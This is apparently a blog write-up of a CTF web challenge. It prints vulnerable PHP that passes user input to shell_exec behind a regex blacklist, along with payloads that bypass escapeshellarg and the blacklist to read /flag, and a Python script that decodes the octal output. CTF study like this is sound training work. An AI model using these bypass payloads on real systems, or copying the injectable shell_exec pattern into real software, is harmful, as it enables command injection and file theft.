RCE_sample_ctf_questions(ing)

大果蝇11223發表於2024-11-19

[廣東強網杯 2021 團隊組]love_Pokemon

考點:

  • 函式escapeshellarg/escapeshellcmd繞過正則匹配
  • 檔案檢視指令+萬用字元繞過正則匹配
點選檢視程式碼
 <?php
error_reporting(0);
highlight_file(__FILE__);
$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';

if(!file_exists($dir)){
    mkdir($dir);
}

function DefenderBonus($Pokemon){
    if(preg_match("/'| |_|\\$|;|l|s|flag|a|t|m|r|e|j|k|n|w|i|\\\\|p|h|u|v|\\+|\\^|\`|\~|\||\"|\<|\>|\=|{|}|\!|\&|\*|\?|\(|\)/i",$Pokemon)){
        die('catch broken Pokemon! mew-_-two');
    }
    else{
        return $Pokemon;
    }

}

function ghostpokemon($Pokemon){
    if(is_array($Pokemon)){
        foreach ($Pokemon as $key => $pks) {
            $Pokemon[$key] = DefenderBonus($pks);
        }
    }
    else{
        $Pokemon = DefenderBonus($Pokemon);
    }
}

switch($_POST['myfavorite'] ?? ""){
    case 'picacu!':
        echo md5('picacu!').md5($_SERVER['REMOTE_ADDR']);
        break;
    case 'bulbasaur!':
        echo md5('miaowa!').md5($_SERVER['REMOTE_ADDR']);
        $level = $_POST["levelup"] ?? "";
    if ((!preg_match('/lv100/i',$level)) && (preg_match('/lv100/i',escapeshellarg($level)))){
            echo file_get_contents('./hint.php');
        }
        break;
    case 'squirtle':
        echo md5('jienijieni!').md5($_SERVER['REMOTE_ADDR']);
        break;
    case 'mewtwo':
        $dream = $_POST["dream"] ?? "";
        if(strlen($dream)>=20){
            die("So Big Pokenmon!");
        }
        ghostpokemon($dream);
        echo shell_exec($dream);
}

?>

題解步驟


1、審計程式碼-根據提示檢視./hint.php

payload - myfavorite=bulbasaur!&levelup=lv%81100
image

提交payload可以看到hint.php檔案中給的提示:flag在/flag中


繞過原理

參考文章:https://blog.csdn.net/m0_75178803/article/details/134987976

函式escapeshellarg 用於將字串轉義為shell命令可執行的形式。windows-1252字符集中的不可見字元可以被這個函式消除,從而繞過preg_match



2、繞過waf函式,利用shell_exec獲取flag

payload - myfavorite=mewtwo&dream=od%09/F[B-Z][@-Z]G

image

獲取到flag的8進位制內容

原理

1、od在linux中的作用為:輸出檔案內容,將其內容以八進位制字碼呈現出來
2、%09為url編碼中的空格
3、為了繞過preg_match使用統配[B-Z][@-Z]代替字元LA

3、使用python指令碼跑出flag
點選檢視程式碼
dump = "0000000 051516 041523 043124 062173 062545 034463 063144 026467 0000020 034460 032060 032055 061070 026471 030470 030544 033455 0000040 030141 034066 034470 062067 032145 076467 000012 0000055"
octs = [("0o" + n) for n in  dump.split(" ") if n]    #使用 dump.split(" ") 將這個字串按空格分割成一個列表,其中可能包含空字串
hexs = [int(n, 8) for n in octs]            #將八進位制字串轉換為十進位制整數
result = ""
for n in hexs:
    if (len(hex(n)) > 4):        
        swapped = hex(((n << 8) | (n >> 8)) & 0xFFFF)        #首先,將整數 n 左移8位(n << 8),然後將其與自身右移8位(n >> 8)的結果進行按位或操作(|),最後將結果與 0xFFFF 進行按位與操作(&),以確保結果是一個16位的數。這樣做實際上是將整數的高8位和低8位進行了交換。
        result += swapped[2:].zfill(4)    #使用 hex() 函式將交換後的整數轉換為十六進位制字串,並去掉字首 "0x",然後透過切片和 zfill() 方法確保字串長度為4(即一個位元組的十六進位制表示)。
print(bytes.fromhex(result).decode())        #bytes.fromhex(result) 將包含十六進位制數字的字串 result 轉換為位元組串。

得出flag

相關文章